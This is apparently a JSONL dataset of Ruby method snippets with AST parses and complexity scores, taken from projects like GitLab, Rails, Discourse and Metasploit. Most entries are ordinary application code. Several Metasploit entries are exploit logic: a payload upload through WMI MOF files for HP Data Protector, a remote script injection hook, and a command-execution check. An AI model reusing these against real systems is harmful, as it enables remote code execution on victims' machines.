},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fingerprint\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending check\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},null]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"8bb7dbcb-f8b3-419f-8107-b068ceed5de6"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/notification.rb","start_line":178,"raw_source":"def reaction_notification_attributes(reaction, receiver)\n      reactable_data = Notifications::Reactions::ReactionData.coerce(reaction).to_h\n      receiver_data = { \"klass\" => receiver.class.name, \"id\" => receiver.id }\n      [reactable_data, receiver_data]\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reaction_notification_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction\"]},{\"type\":\"arg\",\"children\":[\"receiver\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reactable_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"Reactions\"]},\"ReactionData\"]},\"coerce\",{\"type\":\"lvar\",\"children\":[\"reaction\"]}]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"receiver_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"id\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactable_data\"]},{\"type\":\"lvar\",\"children\":[\"receiver_data\"]}]}]}]}","id":"42bc44e3-95dd-4b72-aaa3-dc3d7d1790df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/web_hooks_helpers.rb","start_line":60,"raw_source":"def update_hook_params(hook)\n        update_params = declared_params(include_missing: false)\n        url_variables = update_params.delete(:url_variables) || []\n        url_variables = url_variables.to_h { [_1[:key], _1[:value]] }\n        update_params[:url_variables] = hook.url_variables.merge(url_variables) if url_variables.present?\n\n        custom_headers = update_params.delete(:custom_headers) || []\n        custom_headers = custom_headers.to_h { [_1[:key], _1[:value]] }\n        update_params[:custom_headers] = hook.custom_headers.merge(custom_headers) if custom_headers.present?\n\n        error!('No parameters provided', :bad_request) if update_params.empty?\n\n        update_params\n      end","complexity_score":37.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update_hook_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_params\",{\"type\":\"send\",\"children\":[null,\"declared_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_missing\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url_variables\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"url_variables\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url_variables\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_variables\"]},\"to_h\"]},1,{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_variables\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"url_variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"url_variables\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"url_variables\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"custom_headers\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"custom_headers\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"custom_headers\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_headers\"]},\"to_h\"]},1,{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_headers\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"custom_headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"custom_headers\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"custom_headers\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_params\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"No parameters provided\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"update_params\"]}]}]}","id":"c3f50724-f72a-414c-9a4f-949924efc914"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/type/json_pg_safe.rb","start_line":18,"raw_source":"def initialize(replace_with: '')\n          super()\n\n          @replace_with = replace_with\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"replace_with\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@replace_with\",{\"type\":\"lvar\",\"children\":[\"replace_with\"]}]}]}]}","id":"da6ce01f-a5bb-4eaa-9bad-a4d2402feb5f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_dataprotector_traversal.rb","start_line":85,"raw_source":"def exploit\n    # Setup the necessary files to do the wbemexec trick\n    vbs_name = rand_text_alpha(rand(10) + 5) + '.vbs'\n    exe = generate_payload_exe\n    vbs = Msf::Util::EXE.to_exe_vbs(exe)\n    mof_name = rand_text_alpha(rand(10) + 5) + '.mof'\n    mof = generate_mof(mof_name, vbs_name)\n\n    # We can't upload binary contents, so embedding the exe into a VBS.\n    print_status(\"Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...\")\n    upload_file(\"windows\\\\system32\\\\#{vbs_name}\", vbs)\n    register_file_for_cleanup(vbs_name)\n\n    print_status(\"Sending malicious packet with opcode 42 to upload the mof file #{mof_name}\")\n    upload_file(\"WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{mof_name}\", mof)\n    register_file_for_cleanup(\"wbem\\\\mof\\\\good\\\\#{mof_name}\")\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vbs_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".vbs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vbs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"EXE\"]},\"to_exe_vbs\",{\"type\":\"lvar\",\"children\":[\"exe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mof_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".mof\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mof\",{\"type\":\"send\",\"children\":[null,\"generate_mof\",{\"type\":\"lvar\",\"children\":[\"mof_name\"]},{\"type\":\"lvar\",\"children\":[\"vbs_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending malicious packet with opcode 42 to upload the vbs payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\\\\system32\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vbs_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"vbs\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"vbs_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending malicious packet with opcode 42 to upload the mof file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WINDOWS\\\\system32\\\\wbem\\\\mof\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"mof\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"wbem\\\\mof\\\\good\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mof_name\"]}]}]}]}]}]}","id":"d010dcc7-739b-4ad2-909e-f06f7e4dd7ad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/filtered_search_helpers.rb","start_line":274,"raw_source":"def expect_label_token(value)\n    expect(page).to have_css '.gl-filtered-search-token', text: /Label (=|is) #{Regexp.escape(value)}/\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_label_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".gl-filtered-search-token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Label (=|is) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}]}","id":"e5421058-5bc9-43b2-be8d-abee5e5f9aee"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":1162,"raw_source":"def subcategory_list_includes_topics?\n    subcategory_list_style.end_with?(\"with_featured_topics\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subcategory_list_includes_topics?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcategory_list_style\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"with_featured_topics\"]}]}]}","id":"c279fa2b-ed63-4ed9-976d-e0b98816b42f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/no_helpers_in_presenters.rb","start_line":66,"raw_source":"def check_require_statement(node)\n          require_statement?(node) do |required_file|\n            add_offense(node) if helper_file?(required_file)\n          end\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_require_statement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_statement?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"required_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper_file?\",{\"type\":\"lvar\",\"children\":[\"required_file\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null]}]}]}","id":"6495939f-8df9-4bbd-8946-c2b3c318b5f3"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/errors.rb","start_line":186,"raw_source":"def where(attribute, type = nil, **options)\n      attribute, type, options = normalize_arguments(attribute, type, **options)\n      @errors.select { |error|\n        error.match?(attribute, type, **options)\n      }\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_arguments\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"36ccad78-be82-452f-8b53-6eb02f5fc93a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/android_object_tag_webview_uxss.rb","start_line":141,"raw_source":"def rjs_hook\n    remote_js = datastore['REMOTE_JS']\n    if remote_js.present?\n      \"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); \"\n    else\n      ''\n    end\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rjs_hook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remote_js\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REMOTE_JS\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_js\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"var s = document.createElement('script');s.setAttribute('src', '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_js\"]}]},{\"type\":\"str\",\"children\":[\"');document.body.appendChild(s); \"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"24e0fae4-65cc-4b9a-8b79-a6c8a52815d3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/postponed_translation.rb","start_line":10,"raw_source":"def initialize(string, &block)\n    @string = string\n    @block = block\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@string\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@block\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"6d5a6f0f-e2d1-4c41-b2a3-8d419beba95c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dhcp/server.rb","start_line":119,"raw_source":"def stop\n    self.thread.kill\n    self.served = {}\n    self.sock.close rescue nil\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"thread\"]},\"kill\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"served=\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"76e8c561-d4b3-40a9-8bc4-549276652827"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/validators/authentication_validator.rb","start_line":93,"raw_source":"def non_provisioned_user\n              if @user.identity_url.present?\n                pass_check(:non_provisioned_user)\n              else\n                warn_check(:non_provisioned_user, :oidc_non_provisioned_user, halt_validation: true)\n              end\n            end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"non_provisioned_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"identity_url\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"pass_check\",{\"type\":\"sym\",\"children\":[\"non_provisioned_user\"]}]},{\"type\":\"send\",\"children\":[null,\"warn_check\",{\"type\":\"sym\",\"children\":[\"non_provisioned_user\"]},{\"type\":\"sym\",\"children\":[\"oidc_non_provisioned_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"halt_validation\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"8de1c441-7501-46c6-9aaf-23e3b519395d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/multisite/s3_store_spec.rb","start_line":123,"raw_source":"def prepare_fake_s3\n        @fake_s3 = FakeS3.create\n        bucket = @fake_s3.bucket(SiteSetting.s3_upload_bucket)\n        bucket.put_object(key: upload_key, size: upload.filesize, last_modified: upload.created_at)\n        bucket\n      end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_fake_s3\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@fake_s3\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FakeS3\"]},\"create\"]}]},{\"type\":\"lvasgn\",\"children\":[\"bucket\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fake_s3\"]},\"bucket\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_upload_bucket\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket\"]},\"put_object\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"upload_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload\"]},\"filesize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload\"]},\"created_at\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"bucket\"]}]}]}","id":"0d31b925-54d8-4ae4-8a9b-e0013e38d08a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/formatters/test_metrics_formatter.rb","start_line":313,"raw_source":"def quarantined(example)\n          return \"false\" unless example.metadata.key?(:quarantine)\n\n          # if quarantine key is present and status is pending, consider it quarantined\n          (example.execution_result.status == :pending).to_s\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"quarantined\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"metadata\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"quarantine\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"false\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"execution_result\"]},\"status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"pending\"]}]}]},\"to_s\"]}]}]}","id":"277c54da-bc43-4d78-8e9e-57feb823de5a"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/concerns/ownership.rb","start_line":13,"raw_source":"def validate_owner?\n        Doorkeeper.config.confirm_application_owner?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_owner?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"confirm_application_owner?\"]}]}","id":"48079b81-4197-4514-b194-2471bce6a109"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/two_step_or_factor_client.rb","start_line":47,"raw_source":"def handle_two_step_for_device(device_id)\n      # Request token to device\n      r = request(:put) do |req|\n        req.url(\"https://idmsa.apple.com/appleauth/auth/verify/device/#{device_id}/securitycode\")\n        update_request_headers(req)\n      end\n\n      # we use `Spaceship::TunesClient.new.handle_itc_response`\n      # since this might be from the Dev Portal, but for 2 step\n      Spaceship::TunesClient.new.handle_itc_response(r.body)\n\n      puts(\"Successfully requested notification\")\n      code = ask(\"Please enter the 4 digit code: \")\n      puts(\"Requesting session...\")\n\n      # Send token to server to get a valid session\n      r = request(:post) do |req|\n        req.url(\"https://idmsa.apple.com/appleauth/auth/verify/phone/securitycode\")\n        req.headers['Content-Type'] = 'application/json'\n        req.body = {\n          \"phoneNumber\": {\n            \"id\": device_id\n          },\n          \"securityCode\": {\n            \"code\" => code.to_s\n          },\n          \"mode\": \"sms\"\n        }.to_json\n        update_request_headers(req)\n      end\n\n      begin\n        Spaceship::TunesClient.new.handle_itc_response(r.body) # this will fail if the code is invalid\n      rescue => ex\n        # If the code was entered wrong\n        # {\n        #   \"securityCode\": {\n        #     \"code\": \"1234\"\n        #   },\n        #   \"securityCodeLocked\": false,\n        #   \"recoveryKeyLocked\": false,\n        #   \"recoveryKeySupported\": true,\n        #   \"manageTrustedDevicesLinkName\": \"appleid.apple.com\",\n        #   \"suppressResend\": false,\n        #   \"authType\": \"hsa\",\n        #   \"accountLocked\": false,\n        #   \"validationErrors\": [{\n        #     \"code\": \"-21669\",\n        #     \"title\": \"Incorrect Verification Code\",\n        #     \"message\": \"Incorrect verification code.\"\n        #   }]\n        # }\n        if ex.to_s.include?(\"verification code\") # to have a nicer output\n          puts(\"Error: Incorrect verification code\")\n          return handle_two_step_for_device(device_id)\n        end\n\n        raise ex\n      end\n\n      store_session\n\n      return true\n    